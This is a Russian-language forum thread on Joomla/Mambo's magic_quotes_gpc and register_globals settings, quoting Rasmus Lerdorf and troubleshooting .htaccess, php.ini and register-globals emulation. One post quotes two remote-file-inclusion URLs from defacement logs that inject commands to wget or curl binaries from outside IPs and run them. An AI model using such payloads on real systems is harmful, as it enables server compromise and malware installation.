Magic Quotes и Register Globals

[userxp]

Самые частые из возникаемых вопросов - это требования при установке джумлы к:
magic_quotes_gps on
register_globals off

почему?..
для начала приведу выдержку из перевода интервью Расмуса Лердорфа для SitePoint (перевод опубликован на phpclub, полностью можно прочитать здесь)

SP: Какова ваша точка зрения на Magic Quotes* и Register Globals**?

* Опция, включающая автоматическое добавление обратного слеша к кавычкам в данных, приходящих из форм и HTTP-запросов. В SQL-запросах текстовые строки выделяются кавычками. Чтобы вставить строку, содержащую в себе кавычки, их нужно выделить ("эскейпить") обратными слешами ("\"). Это делается либо при помощи функции addslashes, либо автоматически при включенной опции Magic Quotes (прим. переводчика).

** Данные из POST и GET запросов (и аналогично других типов источников) доступны в массивах $HTTP_POST_VARS, $HTTP_GET_VARS. Например, значение поля name из формы будет находиться в $HTTP_POST_VARS["name"]. Опция Register Globals делает данные из этих запросов доступными по "простым" именам переменных. В данном примере — $name (прим. переводчика).

RL: Register Globals — одна из особенностей, которая привела людей в PHP. Простота создания веб-приложений, когда форма и другие переменные были автоматически доступны не может быть побеждена.

Лично я не был за выключение опции Register Globals по умолчанию. Это очень мало увеличивает общую безопасность приложения. Если люди не проверяют данные, приходящие от пользователя, тогда и без, и с включенными Registered Globals это приложение будет небезопасным.

Иметь отключенные Register Globals полезно только в одном случае — когда вы забываете инициализировать переменную до её использования, и кто-то, кто знает ваш код, использует это. Меняя уровень сообщений об ошибках, вы можете дать PHP найти эти случаи автоматически. В итоге, я думаю, всё, что сделало отключение Register Globals — это усложнило написание приложений на PHP.

И ещё это сделало нам 10-20 вопросов/сообщений об ошибках в день от пользователей, которых сбило с толку это изменение.

Magic Quotes появились в те дни, когда PHP использовался в основном исключительно для приложений, работающих на базах данных. Эти программы принимали данные из формы и вставляли их в базу. Даже сегодня куча скриптов на PHP делают чуть больше этого.

Вам всё время нужно эскейпить кавычки перед тем, как вставлять строку в базу данных. Если вы этого не делаете, вы получаете уродскую ошибку SQL, и ваша программа не работает. После объяснения этого простого факта людям в пятидесятый раз на дню я решил, что с меня хватит, и заставил PHP эскейпить строки на лету. Таким образом, программы будут работать, а худшее, что может произойти — это кто-то увидит лишний обратный слеш ("\") на экране, когда они выводят данные напрямую вместо вставки их в базу.

Часто люди даже не замечают лишний \, поскольку это не вызвало фатальных ошибок SQL, и поэтому меня не приводят в замешательство письма с вопросами, что же происходит. Это было очень здорово.

Даже сегодня вы можете увидеть случайный сайт, где, очевидно, автор не осознавал, что данные нужно эскейпить перед вставкой в базу, и вы видите то тут, то там \. Каждый из этих сайтов — это письмо на саппорт, на которое нам не нужно было отвечать.

Информированные люди, которым не нравится эта фича, могут отключить её сами и управляться со всеми кавычками самостоятельно. А информированные, которые хотят писать компактные программы, могут просто проверить настройки, используя get_magic_quotes_gpc() и добавить вызов addslashes(), где нужно.

magic_quotes_gpc и register_globals являются настроечными константами, указывающими РНР, как ему работать (файл php.ini). Иногда некоторые хостеры позволяют выполнять настройку апачи из .htaccess посредством установки флагов или значений через php_flag или php_value, но в последнее время из-за увеличивающегося числа неопытных пользователей, хостеры всё чаще стараются отключать эту возможность. Так что при попытке изменить настройки php через .htaccess вы можете просто сделать свой сайт неработоспособным.
Договаривайтесь с хостерами!

Перейдём к комментариям и начнём с magic_quotes_gpc
Перевести это можно как "волшебные кавычки".
Как для PHP, так и для MySQL кавычки носят смысл не только текста, а ещё и управляющего (объединяющего) символа. И, если внутри одного выражения/текста появится "несанкционированная" кавычка, то это может привести к некорректному завершению выражения и, соответственно, к нарушениям при записи информации в БД.
В связи с ростом числа "любителей" в среде программистов на РНР, забывающих принудительно выполнять соответствующие преобразования с текстом, было решено ввести такую функцию для "забывчивых товарисчей"
Естественно, что никто не застрахован от таких "недочётов" в коде, поэтому лучше чтобы эта функция была включена. И это не всегда, а чаще всего, действительно, невозможно сделать через .htaccess, поэтому обращайтесь к своему хостеру.

Теперь про register_globals.
Неоднозначно...
Суть - если эта опция включена, то результат приводит к доступности глобальных переменных, а так же переменных массива передаваемых параметров (через POST/GET) в области видимости любой функции.
Классно? Ага!!!... Да нет, оказалось, что не очень...
Наличие потенциального "свободно гуляющего" кода во всей области выполнения программы всё же пугает и потенциально способствует ухудшению безопастности и увеличения вероятности взлома вследствие недосмотра программиста при парсинге передаваемых параметров.
К сожалению, никто так толком и не может доказать плохо это или хорошо...

Что же касается Джумлы, то переменные в массивах POST, GET, REQUEST... эмулируются через _POST, _GET, _REQUEST и т.д., а извлекаемые данные проверяются внутренними средствами. Т.о. програмист не "привязан" к тому, как выставлено register_globals on или off, а получение данных из передаваемых параметров рекомендуется производить через API переменной $mainframe, в частности, через функцию getUserStateFromRequest(...).
Так вы обезопасите свой код от "посягательств" с стороны.

[Dead Krolik]

Поздно я заметил топик.

Наличие потенциального "свободно гуляющего" кода во всей области выполнения программы всё же пугает и потенциально способствует ухудшению безопастности и увеличения вероятности взлома в следствие недосмотра программиста при прасинге передаваемых параметров.
К сожалению, никто так толком и не может доказать плохо это или хорошо...

Если ты выражаешь свое мнение, то давай покажи на примерах - где это плохо. То что регистер_глобалс=On - дыра - БРЕД. Хотя бы один пример.

Что же касается Джумлы, то переменные в массивах POST, GET, REQUEST... эмулируются через _POST, _GET, _REQUEST и т.д.

А что такое POST-массив. Есть _POST, а вот про POST не слыхал. Поясни.

Т.о., програмист не "привязан" к тому, как выставлено register_globals on или off, а получение данных из передаваемых параметров рекомендуется производить через API переменной $mainframe, в частности, через функцию getUserStateFromRequest(...).

Понял что написал? Я не привязан в одном случае - если беру данные из _POST а не глобальную юзаю. Проблемы нет. И не надо ее придумывать. Хотя все переменные из этих _POST и _GET до сих пор (!) по-любому экстрактятся в глобальные.
гетЮзерСтейт вообще бредятина, просто тягать из _SESSION (или из _COOKIES, не помню точно) для этого надо заводить такую длинную функцию? Чего проще уж в mosGetParam запихать.

[smart]

То что регистер_глобалс=On - дыра - БРЕД. Хотя бы один пример.

то, что переменные запроса автоматически мапятся на переменные скрипта не есть хорошо, конечно, при корректно написанном скрипте это не помеха, но если речь идет о безопасности в целом, то это нафиг никому не нужная фича.

если просматривать логи дефейсов мамбы, то очень часто встречаешь:

вот простой пример:
/index2.php?option=com_content&do_pdf=1&id=1&_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://210.3.4.193/cmd.txt?&cmd=cd%20/tmp;wget%2070.168.74.193/strange;chmod%20744%20strange;./strange;cd%20/var/tmp;curl%20-o%20ar%20http://207.90.211.54/ar;chmod%20744%20ar;./ar;echo%20YYY;echo|
/index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://209.123.16.34/cmd.gif?&cmd=cd%20/tmp;wget%20209.123.16.34/gicumz;chmod%20744%20gicumz;./gicumz;echo%20YYY;

и т.д. 

[Dead Krolik]

>но если речь идет о безопасности в целом, то это нафиг никому не нужная фича
Если речь идет о криворукости, то фича конечно нафиг. Но еррор_репортинг=E_ALL и все будет хорошо.

Дыра в мамбе - это дыра, причем регистер_глобалс тут ни при чем, тут как раз "при чем" девелоперы которые это эмулируют через одно место. Очень темное и вонючее.

[era]

вот ещё примеры:
h_p://xakker.h14.ru/uaz_sitedefei.shtml

[era]

Ну чисто теоретически остаётся 3-и возможности:
1. При новых уязвимостях Joomla - обновляться.
2. Внутренние угрозы связаные с Shared хостингом (это когда несколько сайтов на одном сервере).
Н-р: Всё тот же хостер, есть например у тебя всё тот-же сайт vasya.ru по пути /var/www/vasya_ru/htdocs/ (пользователь vasya_ru)
а на этом-же сервере есть другой пользователь petya_ru с сайтом petya.ru по пути /var/www/petya_ru/htdocs/

получается что если у тебя на сервере лежат файлы и директории с правами 777, то пользователь petya_ru чисто теоритечки может эти самые файлы/директории редактировать, т.к. ты дал права "можно всем читать писать исполнять". Тут уж конечно и от хостера зависит многое (он должен правильно расставлять права на директории /var/www/логин_юзера), но и от тебя кое-что тоже зависит.

3. Уязвимости ПО самого сервера - ну тут просто курить, от хостера зависит.

наверное всё, исключая очень внештатных ситуаций, как например утечка всех логинов и паролей клиентов у Валуя толи в прошлом, то-ли в позопрошлом году.

[Sedoy]

Вот Странник на ру-мамбо написал:
"Последние версии мамбо и джумла абсолютно защищены даже при включенном register globals (в этом случае используется так называемая эмуляция режима register globals = Off). "

где эта эмуляция включается? доступна ли она в админке или нужно прописывать в хатсесе что то (кроме php_value register_globals off)? т.к. php.ini недоступен на хосте

[smart]

где эта эмуляция включается?

необходимо файл globals.php-off переименовать в globals.php, переписав существующий...

[Sedoy]

необходимо файл globals.php-off переименовать в globals.php, переписав существующий...

smart, для тех кто в танке (это я ) скажи так или нет, у меня сейчас так:
в хатсесе: php_value register_globals 0
в корне (WWW) два файла: globals.php и globals.php-off - то есть я последний переименовываю и заменяю первый - так?
если да то в хатсесе оставить или закоментировать строку: php_value register_globals 0 ?

[Dead Krolik]

по-моему php_value register_globals 0 должно хватить

[userxp]

если register_globals off и работает, то этого достаточно, точнее, второе будет бестолку.

зы. кстати, понятия не имею, можно ли вместо off писать 0...

[Sedoy]

по-моему php_value register_globals 0 должно хватить

если только так, то как я понимаю - это просто я ставлю его в off, при этом как уже говорилось могут не работать некие расширения, а вопрос касался "эмуляции" которая по видимому дает работать им (расширениям), но при этом register_globals как бы и off - или я что то не довьезжаю? 

[Versed]

Ребята, что то блин сложнвато это все. Давайте попорядку. Напишите порядок действий после обновления до 11 версии. При этом ни каких там можно и не можно. Давайте по максимум закроем все
Я сделал так 1) переименовал globals.php-off в просто globals.php (старый файл не удалил а просто тоже переименовал)

2) в .htasses прописано вот что

Код:

#  php_value register_globals off
#  php_value display_errors 0
#  php_value file_uploads 1
#  php_value magic_quotes_gpc 1
#  php_value magic_quotes_runtime 0

вот что стоит.
После всего в админке всеравно показыват *Joomla! Register Globals Emulation:  ON  * и выделяет красным. Как я понял он не согласен с тем что ON
Правильно ли я сделал? И что  еще нужно OFF сделать ?

[userxp]

за "решёткой" - это ремарка == код НЕ выполняется.
и не факт, что твой провайдер позволяет изменять php_value

[Versed]

Еще забыл спросить. В обновлении есть файл htasses.txt Походу нужно его переименовать в .htasses  а старый файл  прибить ?   И что значит ремарки и не позволяет изменять?

[userxp]

Еще забыл спросить. В обновлении есть файл htasses.txt Походу нужно его переименовать в .htasses  а старый файл  прибить ?

очень желательно

И что значит ремарки и не позволяет изменять?

1) значит, что код закомментирован и не будет выполняться
2) значит, что при попытке изменить какое-либо значение через php_value либо ничего не произойдёт, либо увидишь пустой экран.

[Gris]

После всего в админке всеравно показыват *Joomla! Register Globals Emulation:  ON  * и выделяет красным. Как я понял он не согласен с тем что ON
Правильно ли я сделал? И что  еще нужно OFF сделать ?

Ставил версию 1.0.11
Как это решил я - в файле globals.php в строчке define( 'RG_EMULATION', 1 ); заменил параметр на ноль.

[alexshm]

Запутался совсем, читавши это все.

У меня отключился JoomlaBoard после установки php_value register_globals off и define( 'RG_EMULATION', 0);
 
Экспериментальным путем выяснил, что для работы JBoard
достаточно define( 'RG_EMULATION', 1); при php_value register_globals off

Чем такой вариант чреват с точки зрения безопасности?

[mandalay]

Выставляю в .htasses
php_value register_globals off

Сайт вываливаеться в 500-ую ошибку  ????

[Yana]

Для Apache 1.x
php_flag register_globals off

Для Apache 2.x
php_value register_globals 0

http://joomlaportal.ru/content/view/967/68/

[mandalay]

Оба варианта - результат 500 
Трясу хостера....

[userxp]

вообще странно...
ведь по идее, register_globals = off - это в интересах хостера - выше безопастность.
почему они ставят on не понятно.
разве что это дефолтовый php.ini и сам php откомпилирован как cgi...
но в этом случае всё очень просто

[mandalay]

Всё нормально... хостер скинул дефолтовый php.ini, подправил, выложил в корень, Joomla больше ни чего не советует 

[userxp]

Всё нормально... хостер скинул дефолтовый php.ini, подправил, выложил в корень, Joomla больше ни чего не советует 

его же скопируй в папку /administrator/

[mandalay]

ОК...
Дело в том, что у меня на аккаунте хостера несколко сайтов...
Структура вроде..
/сайт1/ => www.сайт1.ru
/cайт2/ => www.сайт2.ru
/сайт3/ => www.сайт3.ru
Так вот моя joomla стоит в /сайт1/, если я ложу Php.ini в корень СВОЕГО сайта(/сайт1/), то она ругаеться, мол register_globals не выключен. Я положил его в САМЫЙ КОРЕНЬ (/) вот тут она и замолчала... на сколько я понял теперь php.ini работает на ВСЕ сайты и на полную глубину... Есть ли смысл ложить её в /сайт1/administrator/ ?
Разумееться мне не сложно, просто хотелось разобраться....

[userxp]

то, что об этом говорит админка, вовсе не значит, что это работает для сайта, хотя очень на то похоже.
просто обычно хостер настраивает php.ini по-умолчанию свой.
раз у тебя админка реагирует, то вполне возможно, что настроено так, чтобв дефолтовый php.ini берётся с твоего корня.
в этом случае - всё ок.